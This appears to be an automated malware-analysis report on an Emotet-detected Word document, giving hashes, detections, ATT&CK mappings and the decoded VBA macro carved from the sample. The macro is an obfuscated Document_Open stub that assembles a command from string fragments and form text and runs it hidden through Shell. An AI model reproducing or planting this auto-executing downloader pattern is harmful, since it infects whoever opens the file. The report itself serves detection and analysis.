Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ad3cf50504284da7…

MALICIOUS

Office (OLE)

265.0 KB Created: 2019-02-01 14:50:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 37bdbde9c13f3dc7a5ed29e277317cb8 SHA-1: 8c6c98c00c54066c6f93b09acedb64433d77facf SHA-256: ad3cf50504284da769ef01de9fc64b1d6a5d1b29f05fded87c00863115ff8d2f
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros, including a Document_Open auto-execution macro that utilizes the Shell() function. This indicates an attempt to download and execute a secondary payload. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-6915908-0', strongly suggesting the Emotet family and its downloader capabilities.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6915908-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6915908-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1990 bytes
SHA-256: 7bafaa298541b0d302163ec00762928fd72da942522aa4949e73d57167ce4761
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim EhbcX
EhbcX = YZDoT


Dim eBVDO7zQe As Integer
eBVDO7zQe = 15913
MsJtX = 9849 / 21
If MsJtX = 17164 - 17163 Then
xmGDSxQ = "s5iIA"
End If
Dim h439Lai
h439Lai = "w"
Dim dJMnjCTuZ As Byte
dJMnjCTuZ = 78
love "o"
End Sub

Attribute VB_Name = "ulwMK8UL"
Sub love(hBt7YVKrp)
Dim idnxQHzVi As Single
idnxQHzVi = Sgn(59371.484568226)
Dim kmjiaTs5V As Single
kmjiaTs5V = 54583.335851012
Dim ghuUDsz7 As Single
ghuUDsz7 = 37015.953897114
Dim XY4jKd As Integer
XY4jKd = Sgn(17632)
Dim eCeQfF As Double
eCeQfF = Sgn(43592.8488671)
XMGaEW = "w"
Call Shell(TGmt3rU(1) & hBt7YVKrp & XMGaEW & YmPx3, 0)
End Sub

Attribute VB_Name = "hCxOn1"
Public Function TGmt3rU(HDKojmIw As Integer)
NzGsUWFR = Mid("ZUkseowsPbVefeaMo", 11279 - 11278, -1320 + 1327)
Dim FEq1g As Boolean
FEq1g = False
Dim mP3Ch As Long
mP3Ch = 0
TGmt3rU = "p"
End Function

Attribute VB_Name = "ZP5AW"
Public Function YmPx3()
Dim uRGihMjnL As Object
Dim uIkSsEC As Single
uIkSsEC = 52297.372135118
Dim Uqs2XKS(8 To 226) As String
Uqs2XKS(8) = "NUhAIFcP"
Dim GR0fdI As Long
GR0fdI = 0
Set uRGihMjnL = New f
Dim nMo0E9si As Single
nMo0E9si = Val(17684.865134488)
Dim r3FSmj As Long
r3FSmj = (870 - 841) / (7)
Dim PTU1yho As String
PTU1yho = uRGihMjnL.de.Text
Dim AgHGF As Long
AgHGF = Sgn(-2001182914)
YmPx3 = PTU1yho
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{2C7AEE72-8EDA-409F-9326-35006E8DE2DB}{9A6287AF-AA66-47F6-8D4C-34D443DDAD83}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False